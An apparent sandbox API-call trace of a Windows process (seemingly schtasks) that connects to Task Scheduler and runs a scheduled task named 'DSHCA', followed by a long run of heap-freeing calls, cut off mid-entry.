[0103.191] lstrlenW (lpString="tn") returned 2 [0103.191] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.191] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|u|") returned 3 [0103.191] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|tn|") returned 4 [0103.191] lstrlenW (lpString="|u|") returned 3 [0103.191] lstrlenW (lpString="|tn|") returned 4 [0103.191] SetLastError (dwErrCode=0x490) [0103.191] lstrlenW (lpString="p") returned 1 [0103.191] lstrlenW (lpString="p") returned 1 [0103.191] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.191] lstrlenW (lpString="tn") returned 2 [0103.191] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.191] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|p|") returned 3 [0103.191] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|tn|") returned 4 [0103.191] lstrlenW (lpString="|p|") returned 3 [0103.191] lstrlenW (lpString="|tn|") returned 4 [0103.191] SetLastError (dwErrCode=0x490) [0103.191] lstrlenW (lpString="i") returned 1 [0103.191] lstrlenW (lpString="i") returned 1 [0103.191] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.192] lstrlenW (lpString="tn") returned 2 [0103.192] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.192] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|i|") returned 3 [0103.192] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|tn|") returned 4 [0103.192] lstrlenW (lpString="|i|") returned 3 [0103.192] lstrlenW (lpString="|tn|") returned 4 [0103.192] SetLastError (dwErrCode=0x490) [0103.192] lstrlenW (lpString="tn") returned 2 [0103.192] lstrlenW (lpString="tn") returned 2 [0103.192] _memicmp (_Buf1=0x574bc0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.192] lstrlenW (lpString="tn") returned 2 [0103.192] _memicmp (_Buf1=0x574bf0, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0103.192] _vsnwprintf (in: _Buffer=0x575228, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|tn|") returned 4 [0103.192] _vsnwprintf (in: _Buffer=0x574c08, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf5d0 | out: _Buffer="|tn|") returned 4 [0103.192] lstrlenW (lpString="|tn|") returned 4 [0103.192] lstrlenW (lpString="|tn|") returned 4 [0103.192] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0103.192] SetLastError (dwErrCode=0x0) [0103.192] SetLastError (dwErrCode=0x0) [0103.192] lstrlenW (lpString="DSHCA") returned 5 [0103.192] lstrlenW (lpString="-/") returned 2 [0103.192] StrChrIW (lpStart="-/", wMatch=0x44) returned 0x0 [0103.192] SetLastError (dwErrCode=0x490) [0103.192] SetLastError (dwErrCode=0x490) [0103.192] SetLastError (dwErrCode=0x0) [0103.192] lstrlenW (lpString="DSHCA") returned 5 [0103.192] StrChrIW (lpStart="DSHCA", wMatch=0x3a) returned 0x0 [0103.192] SetLastError (dwErrCode=0x490) [0103.192] SetLastError (dwErrCode=0x0) [0103.192] lstrlenW (lpString="DSHCA") returned 5 [0103.192] SetLastError (dwErrCode=0x0) [0103.192] lstrlenW (lpString="DSHCA") returned 5 [0103.192] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0103.812] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0104.363] CoCreateInstance (in: rclsid=0x9e230c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x9e20fc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1bf1dc | out: ppv=0x1bf1dc*=0x173cc8) returned 0x0 [0104.376] TaskScheduler:ITaskService:Connect (This=0x173cc8, serverName=0x1bf14c*(varType=0x8, wReserved1=0x0, wReserved2=0x40, wReserved3=0x42, varVal1=0x0, varVal2=0x0), user=0x1bf15c*(varType=0x0, wReserved1=0x1b, wReserved2=0x6c, wReserved3=0x0, varVal1=0x1bf5e0, varVal2=0x1bf260), domain=0x1bf16c*(varType=0x0, wReserved1=0x1b, wReserved2=0x9cde, wReserved3=0x76b4, varVal1=0x1bf260, varVal2=0x0), password=0x1bf17c*(varType=0x0, wReserved1=0x1b, wReserved2=0x9c39, wReserved3=0x76b4, varVal1=0x1bf260, varVal2=0x380)) returned 0x0 [0104.553] TaskScheduler:IUnknown:AddRef (This=0x173cc8) returned 0x2 [0104.553] TaskScheduler:ITaskService:GetFolder (in: This=0x173cc8, Path=0x0, ppFolder=0x1bf248 | out: ppFolder=0x1bf248*=0x173d30) returned 0x0 [0104.555] ITaskFolder:GetTask (in: This=0x173d30, Path="DSHCA", ppTask=0x1bf24c | out: ppTask=0x1bf24c*=0x173d70) returned 0x0 [0104.572] IRegisteredTask:get_State (in: This=0x173d70, pState=0x1bf238 | out: pState=0x1bf238*=4) returned 0x0 [0104.729] GetProcessHeap () returned 0x560000 [0104.729] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575608 [0104.729] _memicmp (_Buf1=0x574ba8, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0104.729] LoadStringW (in: hInstance=0x0, uID=0xc9, lpBuffer=0x576608, cchBufferMax=256 | out: lpBuffer="INFO: scheduled task \"%s\" is currently running.\n") returned 0x30 [0104.729] lstrlenW (lpString="INFO: scheduled task \"%s\" is currently running.\n") returned 48 [0104.729] GetProcessHeap () returned 0x560000 [0104.729] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x62) returned 0x586d98 [0104.730] _vsnwprintf (in: _Buffer=0x1bf254, _BufferCount=0x1fb, _Format="INFO: scheduled task \"%s\" is currently running.\n", _ArgList=0x1bf200 | out: _Buffer="INFO: scheduled task \"DSHCA\" is currently running.\n") returned 51 [0104.730] _fileno (_File=0x76be2920) returned 1 [0104.730] _errno () returned 0x1707d8 [0104.730] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.730] _errno () returned 0x1707d8 [0104.730] GetFileType (hFile=0x7) returned 0x2 [0104.730] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0104.730] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1bf1c4 | out: lpMode=0x1bf1c4) returned 1 [0104.730] __iob_func () returned 0x76be2900 [0104.730] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0104.731] lstrlenW (lpString="INFO: scheduled task \"DSHCA\" is currently running.\n") returned 51 [0104.731] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1bf254*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x1bf1ec, lpReserved=0x0 | out: lpBuffer=0x1bf254*, lpNumberOfCharsWritten=0x1bf1ec*=0x33) returned 1 [0104.731] IRegisteredTask:RunEx (in: This=0x173d70, params=0x1bf1e4*(varType=0x0, wReserved1=0x1b, wReserved2=0x3879, wReserved3=0x7736, varVal1=0x1400b8, varVal2=0x140000), flags=2, sessionID=0, user=0x0, ppRunningTask=0x1bf244 | out: ppRunningTask=0x1bf244*=0x173db8) returned 0x0 [0105.032] GetProcessHeap () returned 0x560000 [0105.032] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x14) returned 0x575628 [0105.032] _memicmp (_Buf1=0x574ba8, _Buf2=0x9e1ed8, _Size=0x7) returned 0 [0105.032] LoadStringW (in: hInstance=0x0, uID=0x130, lpBuffer=0x576608, cchBufferMax=256 | out: lpBuffer="SUCCESS: Attempted to run the scheduled task \"%s\".\n") returned 0x33 [0105.032] lstrlenW (lpString="SUCCESS: Attempted to run the scheduled task \"%s\".\n") returned 51 [0105.032] GetProcessHeap () returned 0x560000 [0105.032] RtlAllocateHeap (HeapHandle=0x560000, Flags=0xc, Size=0x68) returned 0x586e08 [0105.032] _vsnwprintf (in: _Buffer=0x1bf254, _BufferCount=0x1fb, _Format="SUCCESS: Attempted to run the scheduled task \"%s\".\n", _ArgList=0x1bf200 | out: _Buffer="SUCCESS: Attempted to run the scheduled task \"DSHCA\".\n") returned 54 [0105.032] _fileno (_File=0x76be2920) returned 1 [0105.032] _errno () returned 0x1707d8 [0105.032] _get_osfhandle (_FileHandle=1) returned 0x7 [0105.032] _errno () returned 0x1707d8 [0105.032] GetFileType (hFile=0x7) returned 0x2 [0105.032] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.032] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1bf1c4 | out: lpMode=0x1bf1c4) returned 1 [0105.033] __iob_func () returned 0x76be2900 [0105.033] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0105.033] lstrlenW (lpString="SUCCESS: Attempted to run the scheduled task \"DSHCA\".\n") returned 54 [0105.033] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1bf254*, nNumberOfCharsToWrite=0x36, lpNumberOfCharsWritten=0x1bf1ec, lpReserved=0x0 | out: lpBuffer=0x1bf254*, lpNumberOfCharsWritten=0x1bf1ec*=0x36) returned 1 [0105.033] IUnknown:Release (This=0x173db8) returned 0x0 [0105.033] IUnknown:Release (This=0x173d70) returned 0x0 [0105.033] TaskScheduler:IUnknown:Release (This=0x173d30) returned 0x0 [0105.033] TaskScheduler:IUnknown:Release (This=0x173cc8) returned 0x1 [0105.033] GetProcessHeap () returned 0x560000 [0105.033] GetProcessHeap () returned 0x560000 [0105.033] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574bd8) returned 1 [0105.033] GetProcessHeap () returned 0x560000 [0105.033] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574bd8) returned 0x10 [0105.033] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574bd8 | out: hHeap=0x560000) returned 1 [0105.033] GetProcessHeap () returned 0x560000 [0105.033] GetProcessHeap () returned 0x560000 [0105.033] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574ab8) returned 1 [0105.033] GetProcessHeap () returned 0x560000 [0105.033] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574ab8) returned 0x10 [0105.034] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574ab8 | out: hHeap=0x560000) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575268) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575268) returned 0x14 [0105.034] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575268 | out: hHeap=0x560000) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x576560) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x576560) returned 0xa0 [0105.034] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x576560 | out: hHeap=0x560000) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574b90) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574b90) returned 0x10 [0105.034] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574b90 | out: hHeap=0x560000) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575188) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575188) returned 0x14 [0105.034] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575188 | out: hHeap=0x560000) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575970) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575970) returned 0x208 [0105.034] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575970 | out: hHeap=0x560000) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] GetProcessHeap () returned 0x560000 [0105.034] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574b30) returned 1 [0105.034] GetProcessHeap () returned 0x560000 [0105.035] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574b30) returned 0x10 [0105.035] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574b30 | out: hHeap=0x560000) returned 1 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x5750e8) returned 1 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x5750e8) returned 0x14 [0105.035] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5750e8 | out: hHeap=0x560000) returned 1 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x576608) returned 1 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x576608) returned 0x200 [0105.035] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x576608 | out: hHeap=0x560000) returned 1 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574ba8) returned 1 [0105.035] GetProcessHeap () returned 0x560000 [0105.035] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574ba8) returned 0x10 [0105.035] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574ba8 | out: hHeap=0x560000) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575088) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575088) returned 0x14 [0105.036] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575088 | out: hHeap=0x560000) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574c08) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574c08) returned 0xe [0105.036] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574c08 | out: hHeap=0x560000) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574bf0) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574bf0) returned 0x10 [0105.036] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574bf0 | out: hHeap=0x560000) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575008) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575008) returned 0x14 [0105.036] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575008 | out: hHeap=0x560000) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575228) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575228) returned 0x16 [0105.036] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575228 | out: hHeap=0x560000) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574bc0) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574bc0) returned 0x10 [0105.036] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574bc0 | out: hHeap=0x560000) returned 1 [0105.036] GetProcessHeap () returned 0x560000 [0105.036] GetProcessHeap () returned 0x560000 [0105.037] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574fd0) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574fd0) returned 0x14 [0105.037] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574fd0 | out: hHeap=0x560000) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574ea0) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574ea0) returned 0x2 [0105.037] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574ea0 | out: hHeap=0x560000) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574eb0) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574eb0) returned 0x14 [0105.037] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574eb0 | out: hHeap=0x560000) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574ed0) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574ed0) returned 0x14 [0105.037] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574ed0 | out: hHeap=0x560000) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574ef0) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574ef0) returned 0x14 [0105.037] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574ef0 | out: hHeap=0x560000) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574f10) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574f10) returned 0x14 [0105.037] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574f10 | out: hHeap=0x560000) returned 1 [0105.037] GetProcessHeap () returned 0x560000 [0105.037] GetProcessHeap () returned 0x560000 [0105.038] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x5751a8) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x5751a8) returned 0x14 [0105.038] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5751a8 | out: hHeap=0x560000) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x5751c8) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x5751c8) returned 0x14 [0105.038] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5751c8 | out: hHeap=0x560000) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x576810) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x576810) returned 0x30 [0105.038] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x576810 | out: hHeap=0x560000) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x5751e8) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x5751e8) returned 0x14 [0105.038] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5751e8 | out: hHeap=0x560000) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x576848) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x576848) returned 0x30 [0105.038] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x576848 | out: hHeap=0x560000) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575248) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575248) returned 0x14 [0105.038] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575248 | out: hHeap=0x560000) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] GetProcessHeap () returned 0x560000 [0105.038] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x586d98) returned 1 [0105.038] GetProcessHeap () returned 0x560000 [0105.039] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x586d98) returned 0x62 [0105.039] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x586d98 | out: hHeap=0x560000) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575608) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575608) returned 0x14 [0105.039] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575608 | out: hHeap=0x560000) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x586e08) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x586e08) returned 0x68 [0105.039] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x586e08 | out: hHeap=0x560000) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575628) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x575628) returned 0x14 [0105.039] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x575628 | out: hHeap=0x560000) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574ae8) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574ae8) returned 0x10 [0105.039] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574ae8 | out: hHeap=0x560000) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574f30) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574f30) returned 0x14 [0105.039] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574f30 | out: hHeap=0x560000) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574f50) returned 1 [0105.039] GetProcessHeap () returned 0x560000 [0105.039] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574f50) returned 0x14 [0105.039] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574f50 | out: hHeap=0x560000) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574f70) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574f70) returned 0x14 [0105.040] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574f70 | out: hHeap=0x560000) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574f90) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574f90) returned 0x14 [0105.040] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574f90 | out: hHeap=0x560000) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574b00) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574b00) returned 0x10 [0105.040] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574b00 | out: hHeap=0x560000) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x574fb0) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, MemoryPointer=0x574fb0) returned 0x14 [0105.040] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574fb0 | out: hHeap=0x560000) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] HeapValidate (hHeap=0x560000, dwFlags=0x0, lpMem=0x575028) returned 1 [0105.040] GetProcessHeap () returned 0x560000 [0105.040] RtlSizeHeap (HeapHandle=0x560000, Flags=0x0, 